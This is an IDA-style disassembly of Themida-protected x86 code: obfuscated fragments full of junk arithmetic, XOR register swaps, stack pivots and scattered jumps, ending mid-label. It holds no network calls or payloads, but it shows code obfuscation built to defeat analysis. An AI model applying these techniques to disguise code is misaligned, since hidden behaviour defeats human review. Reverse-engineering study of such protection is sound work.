		add	eax, ebx
		jmp	loc_5910BF
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592682:				; CODE XREF: sub_58C17E+2391j
		mov	ebp, ebx
		jmp	loc_58CED7
; ---------------------------------------------------------------------------


loc_592689:				; CODE XREF: sub_58C17E+B84j
		push	edx
		mov	edx, 477E3585h
		jmp	loc_59361D
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_592694:				; CODE XREF: Themida_:00592DFAj
		xor	edi, esi
		xor	esi, edi
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		not	ebx
		xchg	ebx, edi
		xchg	edi, esi
		not	esi
		inc	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2CE31F58h
		sub	esi, 61D32049h
		add	esi, ecx
		add	esi, 61D32049h
		pop	ecx
		sub	esi, 6615035Dh
		add	edi, esi
		pop	esi
		jmp	loc_590449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_5926D2:				; CODE XREF: sub_58D99C-1932j
		shl	eax, 8
		jp	loc_58C2DF
		and	eax, 51F53A7Fh
		jg	loc_58C050
		mov	ch, 0E4h
		push	ebx
; END OF FUNCTION CHUNK	FOR sub_58D99C
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5926EA:				; CODE XREF: sub_58C17E+9C14j
		add	[esp+arg_0], ecx
		jmp	loc_593F35
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5926F3:				; CODE XREF: Themida_:00593825j
		xor	ebx, 979DFFC1h
		mov	eax, ebx
		jmp	loc_58E5C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_592700:				; CODE XREF: Themida_:00591435j
					; sub_5938B9+3DEAj
		add	esp, 4
		xchg	ebp, [esp-0Ah+arg_4+2]
		pop	esp
		push	[esp-0Eh+arg_8+2]
		pop	eax
		push	0C59h
		mov	[esp-0Ah+arg_4+2], edi
		push	esp
		push	[esp-6+arg_0+2]
		jmp	loc_591EDB
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_59271C:				; CODE XREF: Themida_:0058BBF5j
		jp	loc_58E5A0
		xor	bl, 64h
		xchg	ah, bl
		xchg	dl, ah
		not	dl
		xchg	dl, ah
		xchg	ah, bl
		mov	bl, bl


loc_592731:				; CODE XREF: Themida_:0058E7F4j
		push	edi
		jmp	loc_5915AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592737:				; CODE XREF: sub_58C17E+4DACj
		push	esi
		jmp	loc_593B13
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_59273D:				; CODE XREF: Themida_:005963A9j
		mov	cl, 4Bh
		mov	dh, cl
		pop	ecx
		xor	dh, 12h
		jmp	loc_58F0AA
; ---------------------------------------------------------------------------


loc_59274A:				; CODE XREF: Themida_:0058E2FBj
		sub	eax, 6B212B36h
		sub	edx, eax
		pop	eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592757:				; CODE XREF: sub_5EC2E8:loc_58C6A6j
					; Themida_:0059221Fj
		jmp	sub_58C17E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59275C:				; CODE XREF: sub_58F5B5-42Fj
		mov	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, ebp
		mov	ebx, eax
		pop	eax
		pop	ebp
		and	ebx, 254C0B5Fh
		push	edi
		mov	edi, 213606B8h
		jmp	loc_58F35B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592777:				; CODE XREF: Themida_:0059712Dj
					; sub_590467+7B8Bj
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_58A70D
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592784:				; CODE XREF: sub_58C17E+932Aj
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp+6+var_8+2], edi
		mov	edi, 33CB21E3h
		mov	ebp, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		and	ebp, 1FC73DB4h
		xor	ebp, 16837E40h
		push	edx
		jmp	loc_597E13
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5927B1:				; CODE XREF: Themida_:0059103Ej
					; sub_590010+164Bj
		not	eax
		jmp	loc_5919BD
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_5927B8:				; CODE XREF: Themida_:005930C0j
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_5927C2:				; CODE XREF: sub_594654-A321j
		mov	ebx, 24A853CEh
		push	esi
		jmp	loc_596BA6
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5927CD:				; CODE XREF: sub_590467-1FD7j
					; Themida_:0059296Dj
		sub	al, 2Fh
		pop	bx
		push	cx
		mov	cl, 62h
		jmp	loc_58BCA5
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F013


loc_5927DA:				; CODE XREF: sub_58F013+1Cj
		sub	ecx, ebp
		jmp	loc_58CB4F
; END OF FUNCTION CHUNK	FOR sub_58F013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5927E1:				; CODE XREF: sub_5916C4+24DCj
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		jmp	loc_590F10
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5927EC:				; CODE XREF: Themida_:005932C0j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_58B070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_592804:				; CODE XREF: sub_5938B9-4770j
		push	ecx
		mov	ecx, 79E4EF3h
		or	ecx, 52AE1378h
		jo	loc_58F760
		sub	ecx, 2772EBF7h
		and	ecx, 3A3D56A7h
		add	ecx, 3404EA63h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, edx
		pop	edx
		push	edx
		jmp	loc_593D17
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_592834:				; CODE XREF: sub_58D99C+3D68j
		add	ebx, 107B3949h
		jmp	loc_594200
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_59283F:				; CODE XREF: sub_5942E3-8F4j
		pop	edi
		jmp	loc_58BA75
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592845:				; CODE XREF: sub_590467-2697j
		pop	ebp
		pop	[esp-6+arg_0+2]
		mov	esp, [esp-0Ah+arg_4+2]
		mov	[esp-0Ah+arg_4+2], esi
		mov	esi, 1
		push	esi
		pop	edx
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_590467

; =============== S U B	R O U T	I N E =======================================



sub_592857	proc near		; CODE XREF: sub_59524C-805Aj
					; sub_590467+1CC2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A9A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B2CF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058B983 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591AF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592427 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596C75 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059716C SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	ebx
		jmp	loc_591AF7
sub_592857	endp

; ---------------------------------------------------------------------------


loc_592863:				; CODE XREF: Themida_:00594ECBj
		add	bl, al
		sub	bl, 0F8h
		sub	bl, 41h
		movzx	eax, al
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 172435C9h
		shl	ecx, 4
		shl	ecx, 4
		jmp	loc_5979DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_592882:				; CODE XREF: sub_595E21-9159j
		sub	ebx, 0FFFDBA48h
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_58ED84
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_592890:				; CODE XREF: Themida_:00593469j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	12AAh
		mov	[esp], esp
		push	46D9h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_58AE90
; ---------------------------------------------------------------------------


loc_5928FE:				; CODE XREF: Themida_:0058A829j
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_595D22
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5BFCh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	2B3Fh
		mov	[esp], ebx
		mov	ebx, 2664151Fh
		shr	ebx, 4
		shl	ebx, 3
		jns	loc_58E28A
		sub	ebx, 13320A86h
		push	esi
		jmp	loc_58C2D1
; ---------------------------------------------------------------------------
		db 8Ah,	0C0h
; ---------------------------------------------------------------------------


loc_592942:				; CODE XREF: Themida_:005925FAj
		xor	bl, 0B3h
		xor	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	ah, dh
		mov	bh, ah
		pop	eax
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	al, 2Fh
		add	al, bh
		jmp	loc_5927CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592972:				; CODE XREF: sub_5916C4+662Dj
		add	ebp, 62701BEBh
		jmp	loc_58DD66
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59297D:				; CODE XREF: Themida_:0058F30Fj
		add	esp, 4
		jmp	loc_593523
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592988:				; CODE XREF: sub_5EC2E8-5AFA6j
		add	ebp, 1D896B42h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5904D1
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_592996:				; CODE XREF: sub_59762D-1EA1j
		not	dh
		xchg	ch, dh
		push	ecx
		jmp	loc_595079
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5929A0:				; CODE XREF: sub_5EC2E8-56659j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 198E2AF4h
		not	esi
		add	esi, 198E2AF9h
		add	edx, esi
		pop	esi
		xor	edx, [esp+28h+var_28]
		xor	[esp+28h+var_28], edx
		xor	edx, [esp+28h+var_28]
		jmp	loc_59722C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5929C8:				; CODE XREF: sub_5938B9+4146j
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		push	ebx
		push	758E61EDh
		pop	ebx
		push	1A6Eh
		mov	[esp+0], ecx
		mov	ecx, 594A35A8h
		or	ebx, ecx
		mov	ecx, [esp+0]
		jmp	loc_58E6F8
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5929EC:				; CODE XREF: sub_5916C4+199Bj
		pop	eax
		sub	ecx, edi
		push	edx
		mov	edx, 43D054F8h
		sub	ecx, edx
		jmp	loc_591A9C
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5929FC:				; CODE XREF: Themida_:0058D997j
		mov	edx, 1EE60DF3h
		add	edx, 1
		jmp	loc_592DE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592A0C:				; CODE XREF: sub_5EC2E8-55747j
		xor	edi, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		jmp	loc_58C48D
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592A17:				; CODE XREF: sub_5916C4+404Dj
		shl	ebp, 8
		jmp	loc_5934E2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592A1F:				; CODE XREF: Themida_:00596A82j
		mov	[esp], eax
		push	esp
		jmp	loc_591002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592A28:				; CODE XREF: sub_5916C4-1080j
		xchg	edx, [esp-8+arg_4]
		pop	esp
		xor	eax, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_58AA99
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_592A3A:				; CODE XREF: sub_59762D-35D6j
		pop	bx
		add	al, 57h
		jmp	loc_58EB0E
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592A43:				; CODE XREF: sub_58C17E+6DFFj
		xor	ebx, 6B84F12Bh
		mov	esi, ebx
		pop	ebx
		sub	ebp, esi
		pop	esi
		jmp	loc_593351
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909B4


loc_592A54:				; CODE XREF: sub_5909B4+6j
		mov	eax, ebp
		pop	ebp
		dec	eax
		shr	eax, 5
		inc	eax
		jmp	loc_59107C
; END OF FUNCTION CHUNK	FOR sub_5909B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592A61:				; CODE XREF: sub_5EC2E8-5D74Bj
		sub	dl, 15h
		sub	bh, dl
		pop	edx
		sub	al, bh
		jmp	loc_594F0A
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_592A6E:				; CODE XREF: Themida_:0058D3A1j
		pop	edi
		sub	esi, 484D4425h
		jmp	loc_595F92
; ---------------------------------------------------------------------------


loc_592A7A:				; CODE XREF: Themida_:00595476j
		mov	ebp, [esp]
		jmp	loc_596266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592A82:				; CODE XREF: sub_5916C4+742j
		mov	ebp, 15AF34A5h
		xor	ebp, 732957FCh
		sub	eax, 2DFA0828h
		jmp	loc_5937E0
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592A97:				; CODE XREF: Themida_:005976E6j
		xor	ecx, 403927B5h
		and	ecx, 2D5A159Eh
		add	ecx, 0DCF749ECh
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 1114E88h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ebx, 106B25FBh
		add	ecx, ebx
		jmp	loc_597C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592AD7:				; CODE XREF: sub_5EC2E8-561E4j
		pop	edx
		add	eax, edi
		sub	eax, 24E66FABh
		pop	edi
		jmp	loc_58F22F
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_592AE5:				; CODE XREF: Themida_:0058DA8Bj
		sub	eax, edx
		jmp	loc_5951DB
; ---------------------------------------------------------------------------


loc_592AEC:				; CODE XREF: Themida_:00590BE9j
		add	edx, 36D13125h
		add	edx, 2E7109CFh
		mov	eax, edx
		pop	edx
		jmp	loc_58AEB8
; ---------------------------------------------------------------------------


loc_592B00:				; CODE XREF: Themida_:0059759Cj
		pop	ebx
		sub	ebp, 4CBF5092h
		xor	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 0D4411BDh
		push	ebp
		mov	ebp, 26905CA7h
		push	eax
		mov	eax, 454A6973h
		xor	eax, 0BA4E88BCh
		add	ebp, eax
		jmp	loc_593796
; ---------------------------------------------------------------------------


loc_592B28:				; CODE XREF: Themida_:00596F81j
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58F2B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592B57:				; CODE XREF: sub_5916C4+572Dj
		add	esp, 4
		push	edi
		sub	[esp-8+arg_4], 307A4C27h
		pop	edx
		add	edx, 307A4C27h
		push	[esp-0Ch+arg_8]
		mov	edi, [esp-8+arg_4]
		jmp	loc_593925
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_592B77:				; CODE XREF: sub_58E3A6-1742j
		mov	ecx, 10930B62h
		add	edx, 64636A58h
		jmp	loc_591984
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------


loc_592B87:				; CODE XREF: Themida_:00594A54j
		push	eax
		mov	eax, 404916D3h
		sub	eax, 661C3656h
		push	ebp
		jmp	loc_594688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_592B98:				; CODE XREF: sub_5EC2E8-561B4j
		pop	eax
		xchg	edx, [esp+16h+var_16]
		jmp	loc_594290
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592BA1:				; CODE XREF: Themida_:0058C64Ej
					; Themida_:00592487j ...
		shr	ebp, 2
		jmp	loc_58B132
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_592BA9:				; CODE XREF: sub_595E21-2F8Bj
		pop	eax
		mov	edi, ecx
		jmp	loc_58C2C5
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_592BB1:				; CODE XREF: Themida_:00590E09j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_592BC0:				; CODE XREF: Themida_:005947C4j
		pop	ecx
		sub	bl, 2Dh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_592BCF:				; CODE XREF: sub_5916CB-2300j
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_595DF6
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_592BDB:				; CODE XREF: sub_595123+2B3Dj
		pop	eax
		push	ebx
		jmp	loc_593289
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_592BE2:				; CODE XREF: Themida_:0058CF60j
		mov	dh, 0FEh
		add	dh, 1Dh
		add	dh, bl
		sub	dh, 1Dh
		pop	ebx
		push	cx
		mov	cl, 36h
		add	bh, cl
		pop	cx
		add	bh, dh
		sub	bh, 36h
		mov	dx, [esp]
		add	esp, 2
		not	bh
		inc	bh
		add	bh, 8Ah
		xor	al, bh
		mov	ebx, [esp]
		jmp	loc_597E1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592C12:				; CODE XREF: sub_5916C4+51B2j
		or	dh, 53h
		sub	dh, 27h
		jmp	loc_5967C2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592C1D:				; CODE XREF: Themida_:005970BAj
		pop	ecx
		add	ecx, 4
		sub	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_594312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_592C35:				; CODE XREF: sub_590010+575Ej
		push	eax
		mov	eax, 451B6CF4h
		sub	edi, 770E5CE1h
		add	edi, eax
		add	edi, 770E5CE1h
		pop	eax
		push	ebx
		push	edi
		jmp	loc_58DDD5
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_592C51:				; CODE XREF: Themida_:00593D5Dj
		add	esp, 4
		push	ebp
		mov	ebp, 0
		sub	ebp, ebx
		xchg	ebp, ebx
		pop	ebp
		xor	ebx, 39A8EA96h
		add	edi, ebx
		pop	ebx
		jmp	loc_58B185
; ---------------------------------------------------------------------------


loc_592C70:				; CODE XREF: Themida_:00596574j
		xor	edx, 14706BF4h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5921A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_592C84:				; CODE XREF: sub_5916CB+5543j
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		mov	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	3A5Ah
		mov	[esp+8+var_8], edx
		jmp	loc_58E25F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592CAD:				; CODE XREF: sub_590467+403Bj
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4FF244DEh
		and	ecx, 30932247h
		shr	ecx, 7
		jmp	loc_595B5C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_592CCB:				; CODE XREF: Themida_:00597509j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, ebp
		jmp	loc_59652C
; ---------------------------------------------------------------------------


loc_592CE2:				; CODE XREF: Themida_:0058B6D2j
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58BFE8
; ---------------------------------------------------------------------------


loc_592CF6:				; CODE XREF: Themida_:0058DE6Cj
		dec	esi
		dec	esi
		sub	esi, 0FF3AB2E9h
		add	edx, esi
		pop	esi
		push	ebx
		push	eax
		jmp	loc_58FE4F
; ---------------------------------------------------------------------------


loc_592D08:				; CODE XREF: Themida_:0058D813j
		mov	esi, 22800FDDh
		jmp	loc_595C2C

; =============== S U B	R O U T	I N E =======================================



sub_592D12	proc near		; CODE XREF: sub_58F5B5+6647j

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A7ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C16D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C927 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058CD20 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058E11C SIZE 0000000A BYTES

		push	ebp
		jmp	loc_58A7ED
sub_592D12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_592D18:				; CODE XREF: Themida_:0058AB69j
		add	ax, bx
		push	edx
		mov	dx, 5B5Fh
		jmp	loc_590C73

; =============== S U B	R O U T	I N E =======================================



sub_592D25	proc near		; CODE XREF: sub_58C17E+732Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0058A4CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A4EA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C149 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058C963 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DE8C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E72E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058E80A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EDC9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F47E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F5ED SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F755 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FE60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059042B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590522 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005908B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590C5E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591130 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591162 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591D30 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005923AC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592438 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00592553 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00592D45 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005930F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005936EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005937B2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005946F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595804 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005959BE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597B43 SIZE 00000014 BYTES

		push	ebp
		push	edx
		push	ebx
		push	eax
		mov	eax, 22CE577Bh
		sub	[esp+4], eax
		pop	eax
		pop	edx
		add	edx, 22CE577Bh
		push	eax
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		jmp	loc_58F5ED
sub_592D25	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_592D45:				; CODE XREF: sub_592D25-1BE1j
		pop	ebp
		dec	ebp
		jno	loc_5946F3
		jmp	loc_595BE2
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
		mov	ebx, esp
		mov	bl, 0D5h


loc_592D57:				; CODE XREF: Themida_:0058D345j
		add	eax, 25CB2E99h
		add	eax, ebx
		jmp	loc_596667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592D63:				; CODE XREF: sub_5916C4-588Dj
		mov	ebx, [esp-12h+arg_C+2]
		add	esp, 4
		push	eax
		jmp	loc_5977C3
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592D6F:				; CODE XREF: Themida_:0058E0BFj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_593171
; ---------------------------------------------------------------------------


loc_592D80:				; CODE XREF: Themida_:00592DAEj
		push	ecx
		mov	ecx, 1F2666DCh
		and	ecx, 62BE305Dh
		jmp	loc_59461B
; ---------------------------------------------------------------------------


loc_592D91:				; CODE XREF: Themida_:00595EE8j
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_592D80
; ---------------------------------------------------------------------------


loc_592DB3:				; CODE XREF: Themida_:0058A52Bj
		xor	eax, 343C3081h
		inc	eax
		neg	eax
		sub	eax, 0D65EC330h
		add	ebx, eax
		pop	eax
		push	30E7h
		jmp	loc_58AC08
; ---------------------------------------------------------------------------


loc_592DCD:				; CODE XREF: Themida_:0058B66Aj
		mov	cl, 1
		sub	cl, 1
		jmp	loc_58D164
; ---------------------------------------------------------------------------


loc_592DD7:				; CODE XREF: Themida_:loc_597467j
